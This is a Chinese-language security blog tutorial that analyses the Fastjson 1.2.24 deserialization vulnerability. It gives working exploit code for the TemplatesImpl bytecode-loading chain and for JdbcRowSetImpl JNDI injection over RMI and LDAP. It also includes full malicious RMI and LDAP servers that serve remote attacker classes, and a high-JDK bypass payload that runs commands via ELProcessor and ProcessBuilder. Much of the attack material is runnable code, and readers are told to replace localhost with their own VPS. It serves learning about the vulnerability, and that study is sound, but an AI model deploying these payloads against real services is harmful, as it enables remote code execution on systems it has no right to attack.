Fastjson 1.2.24版本漏洞分析
Java 反序列化 Fastjson篇 02-Fastjson 1.2.24 版本漏洞分析
0x01 前言
这篇作为自己学习 Fastjson 系列的敲门砖吧,虽然之前也通过 CTF 了解过一点了,但是那个太浅了,今天系统地学习一下。
先从 Fastjsono 1.2.24 的版本漏洞开始
0x02 环境
- jdk8u65,最好是低一点的版本,因为有一条 Jndi 的链子;虽然说也是可以绕过,我们这里还是一步步来比较好。
- Maven 3.6.3
- 1.2.22 <= Fastjson <= 1.2.24
pom.xml 导入如下所示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>4.0.9</version> </dependency> <dependency> <groupId>commons-io</groupId> <artifactId>commons-io</artifactId> <version>2.5</version> </dependency> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency> <dependency> <groupId>commons-codec</groupId> <artifactId>commons-codec</artifactId> <version>1.12</version> </dependency>
|
主要有两条攻击的链子,一条是基于 TemplatesImpl 的链子,另一条是基于 JdbcRowSetImpl 的链子。
这里我废话就不多说了,直接进入主题。
0x03 基于 TemplatesImpl 的利用链
- 大致的思路,在上一篇里面说的可能不太清晰,我这里再总结一下。
我们的 PoC 是把恶意代码放到一个 json 格式的字符串里面,开头是要接 @type
的。这里其实赋值就代表我们不需要通过反射来修改值,而是可以直接赋值。
@type
之后是我们要去进行反序列化的类,会获取它的构造函数、getter 与 setter 方法。
所以我们首先是要找这个反序列化类的构造函数、 getter,setter 方法有问题的地方,
- 说了一些总结性的话,现在我们从漏洞发现的角度去看一遍。
1. 链子分析
选取能够命令执行的类
这里,我们要回想起之前在学习 CC 链的时候有一条链子 CC3 链开辟了 TemplatesImpl
加载字节码的先河,而它的漏洞点在于调用了 .newInstance()
方法。我们现在回去看这里,发现漏洞点的地方实际上是一个 getter
方法,如图。
所以 TemplatesImpl
是满足我们 fastjson 漏洞的利用条件的,在构造 EXP 之前,先分析一下 EXP 里面的一些参数。
分析 TemplatesImpl 里面的参数
个人觉得这一步和当时学习 CC3 链子的时候非常像。之前是通过反射修改,这里直接放到 json 字符串里面就可以。
- 先看 TemplatesImpl 类中的
getTransletInstance()
方法。这里可以直接参考 CC3 链子的构造。
_name
不可以为 null,需要 _class
为 null,这样进入到 defineTransletClasses
这个方法里面。所以 _class
可以不用写,或者写为 null。_tfactory
也不能为 null,具体可以见这篇 CC3 的分析文章,如果 CC 链都掌握的话,用这条 TemplatesImpl 链加载字节码是很容易理解的。
_bytecodes
是恶意字节码。恶意字节码的类需要
所以我们现在的 payload 大概是这样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
final String evilClassPath = "E:\\JavaClass\\TemplatesBytes.class";
"
{ \"@type\":\"" + NASTY_CLASS + "\", \"_bytecodes\":[\""+evilCode+"\"], '_name':'Drunkbaby', '_tfactory':{ },
";
|
一开始我以为这样子就可以了,因为 fastjson 在反序列化的时候会自动去找所有的 getter 方法的,结果没弹出计算器来,后面知道原来还和 _outputProperties
这个变量有关系。
因为 fastjson 这个 sette 和 getteer 方法并不是所有都是调用的,是有条件的。
下面直接引用结论,Fastjson会对满足下列要求的setter/getter方法进行调用:
满足条件的setter:
- 非静态函数
- 返回类型为void或当前类
- 参数个数为1个
满足条件的getter:
- 非静态方法
- 无参数
- 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong
这里我们想去调用的 getTransletInstance()
这个方法不满足上述的返回值,它返回的是一个抽象类。
解决无法调用 getTransletInstance()
方法的问题
- 这里用到的也是链子的思维,我们去找谁调用了
getTransletInstance()
,右键 find usages
看着是 newTransformer()
方法调用了 getTransletInstance()
方法,但是无法了利用,因为它不是 setter/getter 方法,继续找。
此处我们找到一个 getOutputProperties()
调用了 newTransformer()
。大致的链子是这样
1 2
| getOutputProperties() ---> newTransformer() ---> TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
|
然后我们看 getOutputProperties()
是否满足 getter 方法里面的返回值,一看是满足的,因为返回值是 Properties 即继承自 Map 类型。
所以我们现在的 payload 里面需要去管 getOutputProperties()
的 outputProperties
变量的值,先把它赋值为空试一试。
所以我们的 payload 大概是这样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
final String evilClassPath = "E:\\JavaClass\\TemplatesBytes.class";
"
{ \"@type\":\"" + NASTY_CLASS + "\", \"_bytecodes\":[\""+evilCode+"\"], '_name':'Drunkbaby', '_tfactory':{ }, \"_outputProperties\":{ },
";
|
2. EXP 构造
payload 既然已经写好,直接 EXP 上!
这里我们在反序列化的时候的参数需要加上 Object.class
与 Feature.SupportNonPublicField
,因为 getOutputProperties()
方法是私有的,而且正常我们写 EXP 没必要不带这个参数。。。。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.codec.binary.Base64; import org.apache.commons.io.IOUtils; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.IOException;
public static String readClass(String cls){ ByteArrayOutputStream bos = new ByteArrayOutputStream(); try { IOUtils.copy(new FileInputStream(new File(cls)), bos); } catch (IOException e) { e.printStackTrace(); } return Base64.encodeBase64String(bos.toByteArray()); } public static void main(String args[]){ try { ParserConfig config = new ParserConfig(); final String fileSeparator = System.getProperty("file.separator"); final String evilClassPath = "E:\\JavaClass\\TemplatesBytes.class"; String evilCode = readClass(evilClassPath); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String text1 = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'Drunkbaby','_tfactory':{ },\"_outputProperties\":{ },"; System.out.println(text1); Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); } catch (Exception e) { e.printStackTrace(); } } }
|
0x04 基于 JdbcRowSetImpl 的利用链
简单来说就是 JNDI 注入的形式,也就是我们平常用的最多的攻击手段。
基于 JdbcRowSetImpl 的利用链主要有两种利用方式,即 JNDI + RMI 和 JNDI + LDAP,都是属于基于 Bean Property 类型的 JNDI 的利用方式。
如果平常有打过 CTF 里面 fastjson 的题目的话,基本利用都是这个方式,因为动态加载字节码更加灵活。
1. JNDI + RMI
这一条链子名为 JdbcRowSetImpl,所以我们先进到这个类里面进去。结果我翻了很久都没有看到能够命令执行利用的 getter 与 setter 方法,其实后续看 EXP 的时候师傅们可以看出来,这是 JNDI 的 Reference 的攻击方式。
JdbcRowSetImpl 类里面有一个 setDataSourceName()
方法,一看方法名就知道是什么意思了。设置数据库源,我们通过这个方式攻击。
EXP 如下
1 2 3 4
| { "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true }
|
根据 JNDI 注入的漏洞利用,需要先起一个 Server,然后把恶意的类放到 vps 上即可。可以把之前的 Server 复制进来。
JNDIRmiServer.java
把 localhost 换成自己的 vps 即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import javax.naming.InitialContext; import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class JNDIRMIServer { public static void main(String[] args) throws Exception{ InitialContext initialContext = new InitialContext(); Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("JndiCalc","JndiCalc","http://localhost:7777/"); initialContext.rebind("rmi://localhost:1099/remoteObj", reference); } }
|
攻击的 EXP 如下
1 2 3 4 5 6 7 8 9
| import com.alibaba.fastjson.JSON;
public class JdbcRowSetImplExp { public static void main(String[] args) { String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/remoteObj\", \"autoCommit\":true}"; JSON.parse(payload); } }
|
成功
2. JNDI + LDAP
JNDILdapServer.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL;
public class JNDILdapServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main (String[] args) { String url = "http://127.0.0.1:7777/#JndiCalc"; int port = 1099; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this.codebase = cb; }
@Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "Exploit"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
|
然后 EXP 的
1 2 3 4 5 6 7 8
| import com.alibaba.fastjson.JSON; public class JdbcRowSetImplLdapExp { public static void main(String[] args) { String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1099/Exploit\", \"autoCommit\":true}"; JSON.parse(payload); } }
|
成功
0x05 Fastjson 攻击中 jdk 高版本的绕过
这里是针对基于 JdbcRowSetImpl 的利用链的 jdk 高版本绕过,绕过手段和之前是一样的,直接放 EXP 了。
JNDIBypassHighJavaServerEL.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| import com.sun.jndi.rmi.registry.ReferenceWrapper; import org.apache.naming.ResourceRef; import javax.naming.StringRefAddr; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class JNDIBypassHighJavaServerEL { public static void main(String[] args) throws Exception { System.out.println("[*]Evil RMI Server is Listening on port: 1099"); Registry registry = LocateRegistry.createRegistry(1099); ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); ref.add(new StringRefAddr("forceString", "x=eval")); ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" + ".newInstance().getEngineByName(\"JavaScript\")" + ".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")")); System.out.println("[*]Evil command: calc"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); registry.bind("Object", referenceWrapper); } }
|
我们的 EXP 不变。
1 2 3 4 5 6 7 8
| import com.alibaba.fastjson.JSON; public class HighJdkBypass { public static void main(String[] args) { String payload ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1234/ExportObject\",\"autoCommit\":\"true\" }"; JSON.parse(payload); } }
|
值得一提的是,这个 EXP 需要 CC 链的环境,当时我这里踩了坑哈哈。
0x06 小结
先小结一下两种攻击方式,TemplatesImpl 是有一点限制的,需要对方的代码里面能够让我们加载的私有的 getter/setter。也就是需要这个参数 Feature.SupportNonPublicField
第二种攻击方式,需要针对 jdk 版本吧,不过平常攻击肯定是第二种用的比较多。
0x07 参考资料
Fastjson系列二——1.2.22-1.2.24反序列化漏洞 [ Mi1k7ea ]